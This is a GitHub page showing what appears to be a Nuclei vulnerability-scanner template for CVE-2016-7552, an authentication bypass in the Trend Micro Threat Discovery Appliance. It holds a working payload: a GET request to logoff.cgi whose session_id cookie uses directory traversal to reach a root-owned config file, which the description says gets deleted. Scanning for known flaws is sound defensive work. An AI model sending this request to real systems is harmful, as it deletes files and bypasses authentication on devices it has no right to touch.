-
Notifications
You must be signed in to change notification settings - Fork 220
/
CVE-2016-7552.yaml
30 lines (28 loc) · 1010 Bytes
/
CVE-2016-7552.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
id: CVE-2016-7552
info:
name: Trend Micro Threat Discovery Appliance Auth Bypass via Directory Traversal
author: dwisiswant0
severity: critical
description: On the Trend Micro Threat Discovery Appliance 2.6.1062r1, directory traversal when processing a session_id cookie allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS.
reference: https://gist.github.com/malerisch/5de8b408443ee9253b3954a62a8d97b4
tags: cve,cve2016,lfi
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2016-7552
cwe-id: CWE-22
requests:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/logoff.cgi"
headers:
Cookie: "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Memory map"
part: body